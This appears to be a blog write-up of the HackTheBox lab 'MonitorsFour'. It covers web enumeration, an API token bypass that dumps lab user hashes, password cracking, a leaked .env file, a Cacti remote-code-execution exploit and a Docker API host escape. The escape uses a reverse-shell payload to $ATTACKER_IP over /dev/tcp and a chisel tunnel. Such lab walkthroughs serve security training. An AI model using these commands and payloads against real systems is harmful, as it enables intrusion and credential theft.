Skip to content
HackIndex logo

HackIndex

MonitorsFour Writeup - HackTheBox

Easy Windows

Last updated May 26, 2026 9 min read

Joshua

HackIndex Creator

Discovery

Initial TCP scan showed only HTTP.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-06 16:27 -0500
Nmap scan report for monitorsfour.htb ($TARGET_IP)
Host is up (0.014s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: MonitorsFour - Networking Solutions
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.91 seconds

Port 80 served a PHP app on nginx. Port 5985 existed but didn’t expose anything usable.

Added the hostname and started poking the web app.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP monitorsfour.htb" | sudo tee -a /etc/hosts

/robots.txt was empty. /login existed but default creds failed. Page source leaked an email format: sales@@monitorsfour.htb. That implied real users.

Directory brute-force gave real attack surface.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://monitorsfour.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 146]
/.htpasswd            (Status: 403) [Size: 146]
/contact              (Status: 200) [Size: 367]
/controllers          (Status: 301) [Size: 162] [--> http://monitorsfour.htb/controllers/]
/forgot-password      (Status: 200) [Size: 3099]
/login                (Status: 200) [Size: 4340]
/static               (Status: 301) [Size: 162] [--> http://monitorsfour.htb/static/]
/user                 (Status: 200) [Size: 35]
/views                (Status: 301) [Size: 162] [--> http://monitorsfour.htb/views/]
Progress: 20469 / 20469 (100.00%)
===============================================================
Finished
===============================================================

API token flaw

/user returned JSON errors instead of HTML.

┌──(kali㉿kali)-[~]
└─$ curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}

It required a token parameter but didn’t validate it correctly.

┌──(kali㉿kali)-[~]
└─$ curl http://monitorsfour.htb/user?token=0
[
  {
    "id": 2,
    "username": "admin",
    "email": "[email protected]",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "85349e35c57f7647cd",
    "name": "Marcus Higgins",
    "position": "System Administrator",
    "dob": "1978-04-26",
    "start_date": "2021-01-12",
    "salary": "320800.00"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "[email protected]",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "admin",
    "token": "0e543210987654321",
    "name": "Michael Watson",
    "position": "Website Administrator",
    "dob": "1985-02-15",
    "start_date": "2021-05-11",
    "salary": "75000.00"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "[email protected]",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "token": "0e999999999999999",
    "name": "Jennifer Anderson",
    "position": "Network Engineer",
    "dob": "1990-07-16",
    "start_date": "2021-06-20",
    "salary": "68000.00"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "[email protected]",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "token": "0e111111111111111",
    "name": "David Thompson",
    "position": "Database Manager",
    "dob": "1982-11-23",
    "start_date": "2022-09-15",
    "salary": "83000.00"
  }
]

This dumped all users, including usernames, roles, tokens, and password hashes. No auth required.

Key takeaway: token 0 bypasses access control. Next move was offline cracking.

Password cracking

Hashes looked like unsalted MD5 when checking with hashid.

┌──(kali㉿kali)-[~]
└─$ hashid 8d4a7e7fd08555133e056d9aacb1e519
Analyzing '8d4a7e7fd08555133e056d9aacb1e519'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x

which we can crack with Hashcat like:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 5 5500U with Radeon Graphics, 4909/9818 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (5604 MB free)

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1               
Approaching final keyspace - workload adjusted.           

                                                          
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Tue Jan  6 16:54:04 2026 (2 secs)
Time.Estimated...: Tue Jan  6 16:54:06 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  6053.4 kH/s (0.57ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/4 (25.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolyn -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 54c Util: 48%

Started: Tue Jan  6 16:53:37 2026
Stopped: Tue Jan  6 16:54:07 2026

Only one cracked fast:

  • admin@@monitorsfour.htb : wonderful1

Environment leakage via .env

A quickhits sweep immediately exposed something useful.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50 -b 404,403
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://monitorsfour.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/quickhits.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.env                 (Status: 200) [Size: 97]
/login                (Status: 200) [Size: 4340]
/user                 (Status: 200) [Size: 35]
Progress: 2565 / 2565 (100.00%)
===============================================================
Finished
===============================================================

.env was publicly accessible.

┌──(kali㉿kali)-[~]
└─$ curl http://monitorsfour.htb/.env
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

This confirmed the application talks to an internal MariaDB instance. Port 3306 was not exposed externally, so the credentials were not immediately usable. Next move was to enumerate the API surface.

API enumeration

Since we have seen API usage before I tried to scan the HTTP service with a specific API endpoint wordlist:

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://monitorsfour.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/api/v1/auth          (Status: 405) [Size: 0]
/api/v1/user          (Status: 200) [Size: 35]
Progress: 269 / 269 (100.00%)
===============================================================
Finished
===============================================================

Interesting results:

  • /api/v1/user → same behavior as /user

  • /api/v1/auth405 Method Not Allowed

A 405 indicated the route existed but required a different HTTP method.

┌──(kali㉿kali)-[~]
└─$ curl -v -X POST http://monitorsfour.htb/api/v1/auth
* Host monitorsfour.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.98
*   Trying 10.10.11.98:80...
* Established connection to monitorsfour.htb (10.10.11.98 port 80) from $ATTACKER_IP port 39458 
* using HTTP/1.x
> POST /api/v1/auth HTTP/1.1
> Host: monitorsfour.htb
> User-Agent: curl/8.17.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 302 Found
< Server: nginx
< Date: Tue, 06 Jan 2026 21:41:14 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/8.3.27
< Set-Cookie: PHPSESSID=b332841635dde5c4e692bd4e26139bc8; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /login
< 
* Connection #0 to host monitorsfour.htb:80 left intact

The response was a 302 redirect to /login with no JSON output, no error message, and no indication of required parameters. No useful feedback, no brute-force angle, no injection surface.

At this point:

  • API auth was a dead end

  • Database access was internal only

There was no direct exploit path left on the main vhost. Next move was expanding the attack surface via virtual hosts.

Virtual host discovery

Since we have not found anything useful yet on the monitorsfour.htn, we move to searching potential subdomains with gobuster:

┌──(kali㉿kali)-[~]
└─$ gobuster vhost -u monitorsfour.htb -w /usr/share/wordlists/dirb/big.txt --append-domain
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://monitorsfour.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/dirb/big.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
@.monitorsfour.htb Status: 400 [Size: 150]
Documents and Settings.monitorsfour.htb Status: 400 [Size: 150]
Program Files.monitorsfour.htb Status: 400 [Size: 150]
cacti.monitorsfour.htb Status: 302 [Size: 0] [--> /cacti]
cgi-bin/.monitorsfour.htb Status: 400 [Size: 150]
contact us.monitorsfour.htb Status: 400 [Size: 150]
donate cash.monitorsfour.htb Status: 400 [Size: 150]
external files.monitorsfour.htb Status: 400 [Size: 150]
home page.monitorsfour.htb Status: 400 [Size: 150]
modern mom.monitorsfour.htb Status: 400 [Size: 150]
my project.monitorsfour.htb Status: 400 [Size: 150]
neuf giga photo.monitorsfour.htb Status: 400 [Size: 150]
planned giving.monitorsfour.htb Status: 400 [Size: 150]
press releases.monitorsfour.htb Status: 400 [Size: 150]
privacy policy.monitorsfour.htb Status: 400 [Size: 150]
reports list.monitorsfour.htb Status: 400 [Size: 150]
site map.monitorsfour.htb Status: 400 [Size: 150]
style library.monitorsfour.htb Status: 400 [Size: 150]
web references.monitorsfour.htb Status: 400 [Size: 150]
Progress: 20469 / 20469 (100.00%)
===============================================================
Finished
===============================================================

This returned a clean hit:

cacti.monitorsfour.htb → 302 → /cacti

Added it to /etc/hosts and browsed the site.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

The page exposed a Cacti login with a visible version banner:

Cacti Version 1.2.28

That version is known to be exploitable.

Cacti authentication

Reused credentials from the earlier API dump. Email-based login failed. The application accepted the first name as username.

Working credentials:

marcus : wonderful1

Login succeeded. This confirmed Cacti was a separate service reusing the same user credentials. Next move was exploiting Cacti itself.

Cacti RCE (CVE-2025-24367)

Cacti 1.2.28 is vulnerable to an authenticated remote code execution flaw. A public PoC was available and reliable.

Exploit execution:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -u marcus -p wonderful1 -i $ATTACKER_IP -l $ATTACKER_PORT -url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: Dgvzz.php
[+] Got payload: /bash
[i] Created PHP filename: pzs79.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

Listener and fetching the user flag:

┌──(kali㉿kali)-[~]
└─$ rslisten 1111 tun0
listening on [$ATTACKER_IP] 1111 ...
connect to [$ATTACKER_IP] from (UNKNOWN) [10.10.11.98] 56233
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
[HIDDEN]

Local privilege escalation inside the container with LinPeas was a dead end. Automated checks and manual inspection showed no direct viable SUID binaries, cron jobs, or leaked secrets. This shifted focus to container escape or lateral movement.

Internal network enumeration

The resolver configuration hinted at Docker internal networking.

www-data@821fbd6a43fa: ~/html/cacti $ cat /etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
options ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal

The gateway IP was visible. Internal scanning with fscan was the next logical move.

user@host ~ $ ./fscan -h 192.168.65.7 1-65535
   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
192.168.65.7:5555 open
192.168.65.7:3128 open
192.168.65.7:2375 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://192.168.65.7:5555  code:200 len:0      title:None
[*] WebTitle http://192.168.65.7:2375  code:404 len:29     title:None
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce 
[+] PocScan http://192.168.65.7:2375 poc-yaml-go-pprof-leak 
已完成 3/3
[*] 扫描结束,耗时: 5.056291757s

Findings:

  • 2375/tcp open and 5555

  • Docker detected

Docker API pivot

The Docker API was only reachable internally, so a reverse tunnel was required.

On the attacker machine:

┌──(kali㉿kali)-[~]
└─$ chisel server -p 9999 --reverse
2026/01/06 17:55:28 server: Reverse tunnelling enabled
2026/01/06 17:55:28 server: Fingerprint 7/jbwUbTmJTuGYHSpO+MmpRLkYTgloOQARnSNUn0H4Y=
2026/01/06 17:55:28 server: Listening on http://0.0.0.0:9999
2026/01/06 17:56:09 server: session#1: Client version (1.11.3) differs from server version (1.11.3-0kali1)
2026/01/06 17:57:38 server: session#2: Client version (1.11.3) differs from server version (1.11.3-0kali1)
2026/01/06 17:57:38 server: session#2: tun: proxy#R:2375=>192.168.65.7:2375: Listening

On the compromised container:

user@host ~ $ curl $ATTACKER_IP:8181/chisel/chisel_1.11.3_linux_amd64 -o chisel
chmod +x chisel
./chisel client $ATTACKER_IP:9999 R:2375:192.168.65.7:2375

Now that a reverse tunnel has been setup between the attacker machine and the compromised container, we can access the internal service at 192.168.65.7:2375 via 127.0.0.1:2375 on the attackers network via:

user@host ~ $ curl http://127.0.0.1:2375/images/json
[
  {
    "Containers": 4,
    "Created": 1762794130,
    "Id": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
    <snip>
    "RepoTags": [
      "docker_setup-nginx-php:latest"
    ],
    "SharedSize": -1,
    "Size": 1277167255
  },
  {
    "Containers": 1,
    "Created": 1762791053,
    "Id": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
    <snip>
    "RepoTags": [
      "docker_setup-mariadb:latest"
    ],
    "SharedSize": -1,
    "Size": 454269972
  },
  {
    "Containers": 13,
    "Created": 1759921496,
    "Id": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
    <snip>
    "RepoTags": [
      "alpine:latest"
    ],
    "SharedSize": -1,
    "Size": 12794775
  }
]

The API responded successfully. An alpine image was already present, which avoided pulling new images.

Host escape via Docker

Created a container with the host filesystem mounted and executed a chroot.

We first need to make our own container JSON for the Docker API to receive like container.json:

{
    "Image": "alpine:latest",
    "Cmd": [
        "sh", "-c", "chroot /host /bin/bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\""
    ],
    "HostConfig": {
        "Binds": ["/:/host"]
    }
}

This container will use the alpine:latest image and start a reverse shell connection to our attackers machine. It will also bind the host device its root folder / to the /host folder inside the Docker container allowing us to see all the files of the host inside the Docker container.

We send this container.json via CURL to the API and then directly start the container

user@host ~ $ curl -H 'Content-Type: application/json' -d @container.json 'http://127.0.0.1:2375/containers/create'
{"Id":"bb09df2fa4b64522f6b0f37744e976523b2acd4a5a30215a67c0a993aa5f88b7","Warnings":[]}
user@host ~ $ curl -X POST http://127.0.0.1:2375/containers/bb09df2fa4b64522f6b0f37744e976523b2acd4a5a30215a67c0a993aa5f88b7/start

When we listen for this connect we will be able to get shell and browse the hosts its file system and retrieve the flag:

┌──(kali㉿kali)-[~]
└─$ rslisten 2222 tun0
listening on [$ATTACKER_IP] 2222 ...


connect to [$ATTACKER_IP] from (UNKNOWN) [10.10.11.98] 56263
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a1e5e751aa65:/var/www/html# whoami
root
root@a1e5e751aa65:/var/www/html# cat /mnt/host/c/Users/Administrator/Desktop/root.txt
[HIDDEN]